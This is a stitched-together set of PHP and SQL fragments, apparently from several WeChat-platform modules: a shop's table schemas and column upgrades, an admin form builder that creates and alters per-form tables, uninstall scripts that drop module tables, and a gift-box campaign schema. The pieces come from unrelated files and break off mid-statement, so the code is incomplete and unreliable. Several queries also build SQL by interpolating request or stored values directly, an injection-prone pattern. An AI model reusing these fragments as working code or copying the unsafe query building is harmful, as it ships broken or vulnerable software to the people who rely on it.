`indx_weid` (`weid`),\r\n KEY `indx_displayorder` (`displayorder`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE if not exists `ims_shopping_express` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `weid` int(11) DEFAULT '0',\r\n `express_name` varchar(50) DEFAULT '',\r\n `displayorder` int(11) DEFAULT '0',\r\n `express_price` varchar(10) DEFAULT '',\r\n `express_area` varchar(100) DEFAULT '',\r\n `express_url` varchar(255) DEFAULT '',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_weid` (`weid`),\r\n KEY `indx_displayorder` (`displayorder`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE if not exists `ims_shopping_goods_option` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `goodsid` int(10) DEFAULT '0',\r\n `title` varchar(50) DEFAULT '',\r\n `thumb` varchar(60) DEFAULT '',\r\n `productprice` decimal(10,2) DEFAULT '0.00',\r\n `marketprice` decimal(10,2) DEFAULT '0.00',\r\n `costprice` decimal(10,2) DEFAULT '0.00',\r\n `stock` int(11) DEFAULT '0',\r\n `weight` decimal(10,2) DEFAULT '0.00',\r\n `displayorder` int(11) DEFAULT '0',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_goodsid` (`goodsid`),KEY `indx_displayorder` (`displayorder`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\t\t\r\nCREATE TABLE if not exists `ims_shopping_goods_param` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `goodsid` int(10) DEFAULT '0',\r\n `title` varchar(50) DEFAULT '',\r\n `value` text,\r\n `displayorder` int(11) DEFAULT '0',\r\n PRIMARY KEY (`id`),KEY `indx_goodsid` (`goodsid`),KEY `indx_displayorder` (`displayorder`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE if not exists `ims_shopping_adv` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `weid` int(11) default 0,\r\n `advname` varchar(50) DEFAULT '',\r\n `link` varchar(255) DEFAULT '',\r\n `thumb` varchar(255) DEFAULT '',\r\n `displayorder` int(11) DEFAULT '0',\r\n `enabled` int(11) DEFAULT '0',\r\n PRIMARY KEY (`id`),KEY `indx_weid` (`weid`),KEY `indx_enabled` (`enabled`),KEY `indx_displayorder` (`displayorder`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_shopping_spec` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `weid` int(10) unsigned NOT NULL,\r\n `title` varchar(50) NOT NULL,\r\n `description` varchar(1000) NOT NULL,\r\n `displaytype` tinyint(3) unsigned NOT NULL,\r\n `content` text NOT NULL,\r\n `goodsid` int(11) default 0,\r\n `displayorder` int(11) default 0,\r\n PRIMARY KEY (`id`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE if not exists `ims_shopping_spec_item` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `weid` int(11) default 0,\r\n `specid` int(11) default 0,\r\n `title` varchar(255) DEFAULT '',\r\n `thumb` varchar(255) DEFAULT '',\r\n `show` int(11) default 0,\r\n `displayorder` int(11) default 0,\r\n PRIMARY KEY (`id`),KEY `indx_weid` (`weid`),KEY `indx_specid` (`specid`),KEY `indx_show` (`show`),KEY `indx_displayorder` (`displayorder`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\n";
pdo_run($sql);
if (pdo_fieldexists('shopping_goods', 'marketprice')) {
pdo_query("ALTER TABLE " . tablename('shopping_goods') . " CHANGE `marketprice` `marketprice` decimal(10,2) NOT NULL DEFAULT '0';");
}
if (pdo_fieldexists('shopping_goods', 'productprice')) {
pdo_query("ALTER TABLE " . tablename('shopping_goods') . " CHANGE `productprice` `productprice` decimal(10,2) NOT NULL DEFAULT '0';");
}
if (!pdo_fieldexists('shopping_goods', 'costprice')) {
pdo_query("ALTER TABLE " . tablename('shopping_goods') . " ADD `costprice` decimal(10,2) NOT NULL DEFAULT '0';");
}
if (!pdo_fieldexists('shopping_goods', 'weight')) {
pdo_query("ALTER TABLE " . tablename('shopping_goods') . " ADD `weight` decimal(10,2) NOT NULL DEFAULT '0';");
}
if (!pdo_fieldexists('shopping_goods', 'totalcnf')) {
pdo_query("ALTER TABLE " . tablename('shopping_goods') . " ADD `totalcnf` tinyint(3) NOT NULL DEFAULT '0';");
}
if (!pdo_fieldexists('shopping_goods', 'credit')) {
pdo_query("ALTER TABLE " . tablename('shopping_goods') . " ADD `credit` int(11) NOT NULL DEFAULT '0';");
}
if (!pdo_fieldexists('shopping_goods', 'hasoption')) {
pdo_query("ALTER TABLE " . tablename('shopping_goods') . " ADD `hasoption` int(11) NOT NULL DEFAULT '0';");
}
if (!pdo_fieldexists('shopping_goods', 'maxbuy')) {
pdo_query("ALTER TABLE " . tablename('shopping_goods') . " ADD `maxbuy` int(11) NOT NULL DEFAULT '0';");
}
if (!pdo_fieldexists('shopping_goods_option', 'productprice')) {
pdo_query("ALTER TABLE " . tablename('shopping_goods_option') . " ADD `productprice` decimal(10,2) NOT NULL DEFAULT '0';");
}
public function doWebStruct()
{
global $_W, $_GPC;
$operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display';
if ($operation == 'post') {
$id = intval($_GPC['id']);
if (!empty($id)) {
$search = pdo_fetch("SELECT * FROM " . tablename('multisearch') . " WHERE id = :id", array(':id' => $id));
$search['fields'] = pdo_fetchall("SELECT * FROM " . tablename('multisearch_fields') . " WHERE reid = :reid ORDER BY displayorder DESC", array(':reid' => $id), 'variable');
$search['status'] = iunserializer($search['status']);
}
if (checksubmit('submit')) {
if (empty($_GPC['title'])) {
message('请输入标题！');
}
$variables = array();
$hassearch = !empty($search['fields']) ? true : false;
if (!empty($_GPC['fields-new']['title'])) {
foreach ($_GPC['fields-new']['title'] as $i => $row) {
if (empty($_GPC['fields-new']['bind'][$i]) && !empty($_GPC['fields-new']['field'][$i])) {
$_GPC['fields-new']['bind'][$i] = $_GPC['fields-new']['field'][$i];
}
if (empty($_GPC['fields-new']['title'][$i])) {
message('表单名称为必填项，请返回修改！');
}
if (empty($_GPC['fields-new']['variable'][$i])) {
message('表单变量名为必填项，请返回修改！');
}
if (!preg_match("/^[a-z_]+[a-z\\d]*\$/i", $_GPC['fields-new']['variable'][$i])) {
message('变量名只能是字母，数字，下划线，并以字母或下划线开头，以字母或数字结尾！');
}
if (in_array($_GPC['fields-new']['variable'][$i], $variables) || !empty($search['fields'][$_GPC['fields-new']['variable'][$i]])) {
message('表单变量名不得重复，请返回修改！');
}
if (!empty($_GPC['fields-new']['search'][$i])) {
$hassearch = true;
}
$variables[] = $_GPC['fields-new']['variable'][$i];
}
if (empty($hassearch)) {
message('表单中最少需要指定一个查询项，请返回修改！');
}
}
$data = array('weid' => intval($_W['weid']), 'title' => $_GPC['title'], 'description' => $_GPC['description'], 'isresearch' => intval($_GPC['isresearch']), 'cover' => $_GPC['cover'], 'template' => !empty($_GPC['template']) ? $_GPC['template'] : 'default', 'mobile' => trim($_GPC['mobile']), 'noticeemail' => $_GPC['noticeemail']);
if (!empty($_GPC['status'])) {
$i = 1;
foreach ($_GPC['status'] as $name) {
$data['status'][$i] = $name;
$i++;
}
$data['status'] = iserializer($data['status']);
}
if (!empty($id)) {
pdo_update('multisearch', $data, array('id' => $id));
} else {
pdo_insert('multisearch', $data);
$id = pdo_insertid();
$sql = "\n\t\t\t\t\tCREATE TABLE IF NOT EXISTS " . tablename("multisearch_data_" . $id) . " (\n\t\t\t\t\t `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\n\t\t\t\t\t `weid` INT UNSIGNED NOT NULL,\n\t\t\t\t\t `reid` INT UNSIGNED NOT NULL,\n\t\t\t\t\t `data` text NOT NULL COMMENT '数据',\n\t\t\t\t\t `createtime` INT( 10 ) UNSIGNED NOT NULL,\n\t\t\t\t\t PRIMARY KEY (`id`)\n\t\t\t\t\t) ENGINE=MyISAM DEFAULT CHARSET=utf8 ;";
pdo_run($sql);
}
$tablename = "multisearch_data_" . $id;
if (!empty($_GPC['fields-new']['title'])) {
foreach ($_GPC['fields-new']['title'] as $i => $row) {
$data = array('reid' => $id, 'type' => intval($_GPC['fields-new']['type'][$i]), 'title' => $_GPC['fields-new']['title'][$i], 'variable' => $_GPC['fields-new']['variable'][$i], 'displayorder' => intval($_GPC['fields-new']['displayorder'][$i]), 'required' => intval($_GPC['fields-new']['required'][$i]), 'search' => intval($_GPC['fields-new']['search'][$i]), 'likesearch' => intval($_GPC['fields-new']['like'][$i]), 'bind' => $_GPC['fields-new']['bind'][$i], 'description' => $_GPC['fields-new']['description'][$i], 'options' => $_GPC['fields-new']['options'][$i]);
pdo_insert('multisearch_fields', $data);
if ($data['type'] == 1 && $data['search'] && !pdo_fieldexists($tablename, $data['variable'])) {
if ($data['bind'] == 'number') {
$sql = "ALTER TABLE " . tablename($tablename) . " ADD `{$data['variable']}` INT( 10 ) NOT NULL DEFAULT '0';";
} else {
$sql = "ALTER TABLE " . tablename($tablename) . " ADD `{$data['variable']}` TEXT NOT NULL DEFAULT '';";
}
if (!pdo_fieldexists($tablename, $data['variable'])) {
pdo_query($sql);
}
}
}
}
if (!empty($_GPC['fields']['title'])) {
foreach ($_GPC['fields']['title'] as $i => $row) {
if (empty($_GPC['fields']['title'][$i])) {
continue;
}
$data = array('title' => $_GPC['fields']['title'][$i], 'required' => intval($_GPC['fields']['required'][$i]), 'likesearch' => intval($_GPC['fields']['like'][$i]), 'displayorder' => intval($_GPC['fields']['displayorder'][$i]), 'description' => $_GPC['fields']['description'][$i], 'options' => $_GPC['fields']['options'][$i]);
if (!empty($_GPC['fields']['bind'][$i]) || !empty($_GPC['fields']['field'][$i])) {
$data['bind'] = !empty($_GPC['fields']['bind'][$i]) ? $_GPC['fields']['bind'][$i] : $_GPC['fields']['field'][$i];
}
pdo_update('multisearch_fields', $data, array('id' => $i));
}
}
message('更新成功！', $this->createWebUrl('struct', array('op' => 'post', 'id' => $id)), 'success');
}
$fields = pdo_fetchall("SELECT field, title FROM " . tablename('profile_fields'));
$path = IA_ROOT . '/source/modules/multisearch/template/mobile/';
if (is_dir($path)) {
if ($handle = opendir($path)) {
while (false !== ($templatepath = readdir($handle))) {
if ($templatepath != '.' && $templatepath != '..' && is_dir($path . $templatepath)) {
$template[] = $templatepath;
}
}
}
}
} elseif ($operation == 'display') {
$pindex = max(1, intval($_GPC['page']));
$psize = 50;
$list = pdo_fetchall("SELECT * FROM " . tablename('multisearch') . " WHERE weid = '{$_W['weid']}' {$condition} ORDER BY id ASC LIMIT " . ($pindex - 1) * $psize . ',' . $psize);
$total = pdo_fetchcolumn('SELECT COUNT(*) FROM ' . tablename('multisearch') . " WHERE weid = '{$_W['weid']}' {$condition}");
$pager = pagination($total, $pindex, $psize);
} elseif ($operation == 'delete') {
$id = intval($_GPC['id']);
if ($_GPC['type'] == 'item') {
$search = pdo_fetch("SELECT * FROM " . tablename('multisearch') . " WHERE id = :id", array(':id' => $id));
$search['tablename'] = 'multisearch_data_' . $search['id'];
if (empty($search)) {
message('抱歉，数据不存在或是已经被删除！');
}
pdo_delete('multisearch', array('id' => $id));
pdo_query("DROP TABLE IF EXISTS " . tablename($search['tablename']));
} elseif ($_GPC['type'] == 'field') {
$reid = intval($_GPC['reid']);
$search = pdo_fetch("SELECT * FROM " . tablename('multisearch') . " WHERE id = :id", array(':id' => $reid));
$search['tablename'] = 'multisearch_data_' . $search['id'];
$row = pdo_fetch("SELECT id, variable, search FROM " . tablename('multisearch_fields') . " WHERE id = :id", array(':id' => $id));
if (empty($row)) {
message('抱歉，数据不存在或是已经被删除！');
}
pdo_delete('multisearch_fields', array('id' => $id));
if ($row['search']) {
$sql = "ALTER TABLE " . tablename($search['tablename']) . " DROP {$row['variable']}";
if (pdo_fieldexists($search['tablename'], $row['variable'])) {
pdo_query($sql);
}
}
}
message('删除成功！', referer(), 'success');
}
include $this->template('struct');
}
function local_run($sql)
{
global $db;
if (!isset($sql) || empty($sql)) {
return;
}
$sql = str_replace("\r", "\n", str_replace(' ims_', ' ' . $db['tablepre'], $sql));
$sql = str_replace("\r", "\n", str_replace(' `ims_', ' `' . $db['tablepre'], $sql));
$ret = array();
$num = 0;
foreach (explode(";\n", trim($sql)) as $query) {
$ret[$num] = '';
$queries = explode("\n", trim($query));
foreach ($queries as $query) {
$ret[$num] .= isset($query[0]) && $query[0] == '#' || isset($query[1]) && isset($query[1]) && $query[0] . $query[1] == '--' ? '' : $query;
}
$num++;
}
unset($sql);
foreach ($ret as $query) {
$query = trim($query);
if ($query) {
if (!pdo_run($query)) {
echo $query . '<br>';
}
}
}
}
<?php
/**
* 幸运数字活动模块
*
* @author 微赞
* @url http://www.00393.com/
*/
pdo_delete('rule', array('module' => 'stonefish_luckynum'));
pdo_delete('rule_keyword', array('module' => 'stonefish_luckynum'));
pdo_run("DROP TABLE " . tablename('stonefish_luckynum_award'));
pdo_run("DROP TABLE " . tablename('stonefish_luckynum_fans'));
pdo_run("DROP TABLE " . tablename('stonefish_luckynum'));
<?php
pdo_run($manifest['install']);
if (pdo_fieldexists('we7car_care', 'from_user')) {
pdo_query("ALTER TABLE " . tablename('we7car_care') . " CHANGE `from_user` `from_user` INT(10) UNSIGNED NOT NULL;");
}
if (pdo_fieldexists('we7car_order_list', 'from_user')) {
pdo_query("ALTER TABLE " . tablename('we7car_order_list') . " CHANGE `from_user` `from_user` INT(10) UNSIGNED NOT NULL;");
}
if (!pdo_fieldexists('we7car_care', 'car_mobile')) {
pdo_query("ALTER TABLE " . tablename('we7car_order_list') . " ADD `car_mobile` varchar(15) NOT NULL;");
}
if (!pdo_fieldexists('we7car_set', 'shop_logo')) {
pdo_query("ALTER TABLE " . tablename('we7car_set') . " ADD `shop_logo` varchar(200) NOT NULL;");
}
if (!pdo_fieldexists('we7car_set', 'typethumb')) {
pdo_query("ALTER TABLE " . tablename('we7car_set') . " ADD `typethumb` varchar(100) NOT NULL;");
}
if (!pdo_fieldexists('we7car_set', 'yuyue1thumb')) {
pdo_query("ALTER TABLE " . tablename('we7car_set') . " ADD `yuyue1thumb` varchar(100) NOT NULL;");
}
if (!pdo_fieldexists('we7car_set', 'yuyue2thumb')) {
pdo_query("ALTER TABLE " . tablename('we7car_set') . " ADD `yuyue2thumb` varchar(100) NOT NULL;");
}
if (!pdo_fieldexists('we7car_set', 'kefuthumb')) {
pdo_query("ALTER TABLE " . tablename('we7car_set') . " ADD `kefuthumb` varchar(100) NOT NULL;");
}
if (!pdo_fieldexists('we7car_set', 'messagethumb')) {
pdo_query("ALTER TABLE " . tablename('we7car_set') . " ADD `messagethumb` varchar(100) NOT NULL;");
}
if (!pdo_fieldexists('we7car_set', 'carethumb')) {
function clearTable($table)
{
pdo_run("truncate table `ims_{$table}`");
}
<?php
/**
* 【超人】抢楼活动模块定义
*
*/
$res = pdo_fetchall("SELECT id FROM " . tablename('rule') . " WHERE module = :module", array(':module' => 'superman_floor'));
if ($res) {
foreach ($res as $row) {
$rid = $row['id'];
$tablename = tablename("superman_floor_{$rid}");
$sql = "DROP TABLE `{$tablename}`";
pdo_query($sql);
}
}
pdo_delete('rule', array('module' => 'superman_floor'));
pdo_delete('rule_keyword', array('module' => 'superman_floor'));
pdo_run("DROP TABLE " . tablename('superman_floor_award'));
pdo_run("DROP TABLE " . tablename('superman_floor_winner'));
pdo_run("DROP TABLE " . tablename('superman_floor'));
pdo_query('DELETE FROM ' . tablename('modules_bindings') . " WHERE module = :module AND entry = :entry AND `call` = '' AND title NOT IN ('" . implode("','", $delete_title) . "')", array(':module' => $manifest['application']['identifie'], ':entry' => $p));
unset($delete_title);
}
if (!empty($delete_call)) {
pdo_query('DELETE FROM ' . tablename('modules_bindings') . " WHERE module = :module AND entry = :entry AND do = '' AND title = '' AND `call` NOT IN ('" . implode("','", $delete_call) . "')", array(':module' => $manifest['application']['identifie'], ':entry' => $p));
unset($delete_call);
}
}
}
if (!empty($manifest['upgrade'])) {
if (strexists($manifest['upgrade'], '.php')) {
if (file_exists($modulepath . $manifest['upgrade'])) {
include_once $modulepath . $manifest['upgrade'];
}
} else {
pdo_run($manifest['upgrade']);
}
}
pdo_update('modules', $module, array('name' => $id));
cache_build_modules();
message('模块更新成功！', referer(), 'success');
}
if ($do == 'cloud') {
template('extension/module-cloud');
}
if ($do == 'designer') {
if (empty($_W['isfounder'])) {
message('您没有设计模块的权限', '', 'error');
}
$available = array();
$available['download'] = class_exists('ZipArchive');
<?php
/**
* 幸运拆礼盒模块
*
* @author 微赞
*/
$sql = "\r\ndrop table if exists `ims_stonefish_chailihe_gift`;\r\ndrop table if exists `ims_stonefish_chailihe_giftmika`;\r\ndrop table if exists `ims_stonefish_chailihe_reply`;\r\ndrop table if exists `ims_stonefish_chailihe_userlist`;\r\ndrop table if exists `ims_stonefish_chailihe_data`;\r\n ";
$sqlnews = "\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_reply` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `templateid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '活动模板ID',\r\n `slidevertical` tinyint(1) unsigned NOT NULL DEFAULT '2' COMMENT '多个礼盒切换效果2左右1上下',\r\n `tips` varchar(300) DEFAULT '' COMMENT '活动提示',\r\n `title` varchar(50) DEFAULT '' COMMENT '活动标题',\r\n `description` varchar(255) DEFAULT '' COMMENT '活动简介',\r\n `start_picurl` varchar(200) DEFAULT '' COMMENT '活动开始图片',\r\n `end_title` varchar(50) DEFAULT '' COMMENT '结束标题',\r\n `end_description` varchar(200) DEFAULT '' COMMENT '活动结束简介',\r\n `end_picurl` varchar(200) DEFAULT '' COMMENT '活动结束图片',\r\n `isshow` tinyint(1) DEFAULT '1' COMMENT '活动是否停止0为暂停1为活动中',\r\n `starttime` int(10) DEFAULT '0' COMMENT '开始时间',\r\n `endtime` int(10) DEFAULT '0' COMMENT '结束时间',\r\n `music` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否打开背景音乐',\r\n `musicurl` varchar(255) NOT NULL DEFAULT '' COMMENT '背景音乐地址',\r\n `mauto` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '音乐是否自动播放',\r\n `mloop` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否循环播放',\r\n `issubscribe` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '参与类型0为任意1为关注粉丝2为会员',\r\n `visubscribe` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '助力类型',\r\n `fansnum` int(10) DEFAULT '0' COMMENT '参与人数',\r\n `viewnum` int(10) DEFAULT '0' COMMENT '访问次数',\r\n `prize_num` int(10) DEFAULT '0' COMMENT '奖品总数',\r\n `award_num` int(11) DEFAULT '0' COMMENT '每人最多获奖次数',\r\n `number_times` int(11) DEFAULT '0' COMMENT '每人最多参与次数',\r\n `day_number_times` int(11) DEFAULT '0' COMMENT '每人每天最多参与次数',\r\n `viewawardnum` int(10) unsigned NOT NULL DEFAULT '50' COMMENT '首页显示中奖人数',\r\n `viewranknum` int(10) unsigned NOT NULL DEFAULT '50' COMMENT '排行榜人数',\r\n `showprize` tinyint(1) DEFAULT '0' COMMENT '是否显示奖品',\r\n `prizeinfo` text NOT NULL COMMENT '奖品详细介绍',\r\n `awardtext` varchar(1000) DEFAULT '' COMMENT '中奖提示文字',\r\n `notawardtext` varchar(1000) DEFAULT '' COMMENT '没有中奖提示文字',\r\n `noprizepic` varchar(1000) DEFAULT '' COMMENT '没有中奖提示图',\r\n `notprizetext` varchar(1000) DEFAULT '' COMMENT '没有奖品提示文字',\r\n `copyright` varchar(20) DEFAULT '' COMMENT '版权',\r\n `power` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '是否获取助力者头像昵称1opneid 2头像昵称',\r\n `poweravatar` varchar(3) DEFAULT '0' COMMENT '头像大小',\r\n `powertype` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '助力类型0访问助力1点击助力',\r\n `limittype` tinyint(1) DEFAULT '0' COMMENT '限制类型0为只能一次1为每天一次',\r\n `totallimit` tinyint(1) DEFAULT '1' COMMENT '好友助力总次数制',\r\n `helptype` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '互助0为互助1为禁止',\r\n `helpfans` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '0全部用户1只能助力1人',\r\n `helplihe` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '0所有礼盒1单独礼盒',\r\n `xuninum` int(10) unsigned NOT NULL DEFAULT '500' COMMENT '虚拟人数', \r\n `xuninumtime` int(10) unsigned NOT NULL DEFAULT '86400' COMMENT '虚拟间隔时间',\r\n `xuninuminitial` int(10) unsigned NOT NULL DEFAULT '10' COMMENT '虚拟随机数值1',\r\n `xuninumending` int(10) unsigned NOT NULL DEFAULT '100' COMMENT '虚拟随机数值2',\r\n `xuninum_time` int(10) unsigned NOT NULL COMMENT '虚拟更新时间',\r\n `adpic` varchar(255) DEFAULT '' COMMENT '活动页顶部广告图',\r\n `adpicurl` varchar(255) DEFAULT '' COMMENT '活动页顶部广告链接',\r\n `homepictime` tinyint(1) unsigned NOT NULL COMMENT '首页秒显图片显示时间',\r\n `homepictype` tinyint(1) unsigned NOT NULL COMMENT '首页广告类型1为每次2为每天3为每周4为仅1次', \r\n `homepic` varchar(225) NOT NULL COMMENT '首页秒显图片',\r\n `opportunity` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '参与次数选项0活动设置1商户赠送2为积分购买', \r\n `opportunity_txt` text NOT NULL COMMENT '商户赠送/积分购买说明',\r\n `credit_type` varchar(20) DEFAULT '' COMMENT '积分类型',\r\n `credit_value` int(11) DEFAULT '0' COMMENT '积分购买多少积分',\r\n `createtime` int(10) DEFAULT '0' COMMENT '创建时间',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE = MYISAM DEFAULT CHARSET = utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_banner` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `bannerpic` varchar(255) NOT NULL COMMENT '幻灯图片',\r\n `bannerurl` varchar(255) NOT NULL COMMENT '幻灯链接',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE = MYISAM DEFAULT CHARSET = utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_exchange` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `rid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '规则id',\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `tickettype` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '兑奖类型1为前端后台2为店员3为商家网点',\r\n `awardingtype` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '单独兑奖1统一兑奖2',\r\n `beihuo` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否开启备货1开启0关闭',\r\n `beihuo_tips` varchar(20) DEFAULT '' COMMENT '备货提示词',\r\n `awardingpas` varchar(10) DEFAULT '' COMMENT '兑奖密码', \r\n `inventory` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '兑奖后库存1中奖减少2为兑奖后减少',\r\n `awardingstarttime` int(10) DEFAULT '0' COMMENT '兑奖开始时间',\r\n `awardingendtime` int(10) DEFAULT '0' COMMENT '兑奖结束时间',\r\n `awarding_tips` varchar(50) DEFAULT '' COMMENT '兑奖参数提示词',\r\n `awardingaddress` varchar(50) DEFAULT '' COMMENT '兑奖地点',\r\n `awardingtel` varchar(50) DEFAULT '' COMMENT '兑奖电话',\r\n `baidumaplng` varchar(10) DEFAULT '' COMMENT '兑奖导航',\r\n `baidumaplat` varchar(10) DEFAULT '' COMMENT '兑奖导航',\r\n `isexchange` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '0领取礼盒时输入1中奖后输入',\r\n `isrealname` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '是否需要输入姓名0为不需要1为需要',\r\n `ismobile` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '是否需要输入手机号0为不需要1为需要',\r\n `isqq` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否需要输入QQ号0为不需要1为需要',\r\n `isemail` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否需要输入邮箱0为不需要1为需要',\r\n `isaddress` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否需要输入地址0为不需要1为需要',\r\n `isgender` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否需要输入性别0为不需要1为需要',\r\n `istelephone` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否需要输入固定电话0为不需要1为需要',\r\n `isidcard` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否需要输入证件号码0为不需要1为需要',\r\n `iscompany` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否需要输入公司名称0为不需要1为需要',\r\n `isoccupation` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否需要输入职业0为不需要1为需要',\r\n `isposition` tinyint(1) unsigned NOT NULL DEFAULT '0' COMMENT '是否需要输入职位0为不需要1为需要',\r\n `isfans` tinyint(1) unsigned NOT NULL DEFAULT '1' COMMENT '0只保存本模块下1同步更新至官方FANS表', \r\n `isfansname` varchar(225) NOT NULL DEFAULT '真实姓名,手机号码,QQ号,邮箱,地址,性别,固定电话,证件号码,公司名称,职业,职位' COMMENT '显示字段名称',\r\n `tmplmsg_participate` int(11) DEFAULT '0' COMMENT '参与消息模板',\r\n `tmplmsg_winning` int(11) DEFAULT '0' COMMENT '中奖消息模板',\r\n `tmplmsg_exchange` int(11) DEFAULT '0' COMMENT '兑奖消息模板',\r\n PRIMARY KEY (`id`),\r\n KEY `indx_rid` (`rid`),\r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE = MYISAM DEFAULT CHARSET = utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_template` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `title` varchar(20) DEFAULT '' COMMENT '模板名称',\r\n `thumb` varchar(255) DEFAULT '' COMMENT '模板缩略图',\r\n `fontsize` varchar(2) DEFAULT '12' COMMENT '文字大小',\r\n `bgimg` varchar(255) DEFAULT '' COMMENT '背景图',\r\n `bgimglihe` varchar(255) DEFAULT '' COMMENT '领取礼盒背景图',\r\n `bgimgprize` varchar(255) DEFAULT '' COMMENT '中奖背景图',\r\n `bgcolor` varchar(7) DEFAULT '' COMMENT '背景色',\r\n `textcolor` varchar(7) DEFAULT '' COMMENT '文字色',\r\n `textcolorlink` varchar(7) DEFAULT '' COMMENT '链接文字色',\r\n `buttoncolor` varchar(7) DEFAULT '' COMMENT '按钮色',\r\n `buttontextcolor` varchar(7) DEFAULT '' COMMENT '按钮文字色',\r\n `rulecolor` varchar(7) DEFAULT '' COMMENT '规则框背景色',\r\n `ruletextcolor` varchar(7) DEFAULT '' COMMENT '规则框文字色',\r\n `navcolor` varchar(7) DEFAULT '' COMMENT '导航色',\r\n `navtextcolor` varchar(7) DEFAULT '' COMMENT '导航文字色',\r\n `navactioncolor` varchar(7) DEFAULT '' COMMENT '导航选中文字色',\r\n `watchcolor` varchar(7) DEFAULT '' COMMENT '弹出框背景色',\r\n `watchtextcolor` varchar(7) DEFAULT '' COMMENT '弹出框文字色',\r\n `awardcolor` varchar(7) DEFAULT '' COMMENT '兑奖框背景色',\r\n `awardtextcolor` varchar(7) DEFAULT '' COMMENT '兑奖框文字色',\r\n `awardscolor` varchar(7) DEFAULT '' COMMENT '兑奖框成功背景色',\r\n `awardstextcolor` varchar(7) DEFAULT '' COMMENT '兑奖框成功文字色',\r\n PRIMARY KEY (`id`), \r\n KEY `indx_uniacid` (`uniacid`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE IF NOT EXISTS `ims_stonefish_chailihe_tmplmsg` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `uniacid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '公众号ID',\r\n `template_id` varchar(50) DEFAULT '' COMMENT '模板ID',\r\n `template_name` varchar(20) DEFAULT '' COMMENT '模板名称',\r\n `topcolor` varchar(7) DEFAULT '' COMMENT '通知文字色',\r\n `first` varchar(100) DEFAULT '' COMMENT '标题',\r\n `firstcolor` varchar(7) DEFAULT '' COMMENT '标题文字色',\r\n `keyword1` varchar(100) DEFAULT '' COMMENT '参数1',\r\n `keyword1code` varchar(20) DEFAULT '' COMMENT '参数1字段',\r\n `keyword1color` varchar(7) DEFAULT '' COMMENT '参数1文字色',\r\n `keyword2` varchar(100) DEFAULT '' COMMENT '参数2',\r\n `keyword2code` 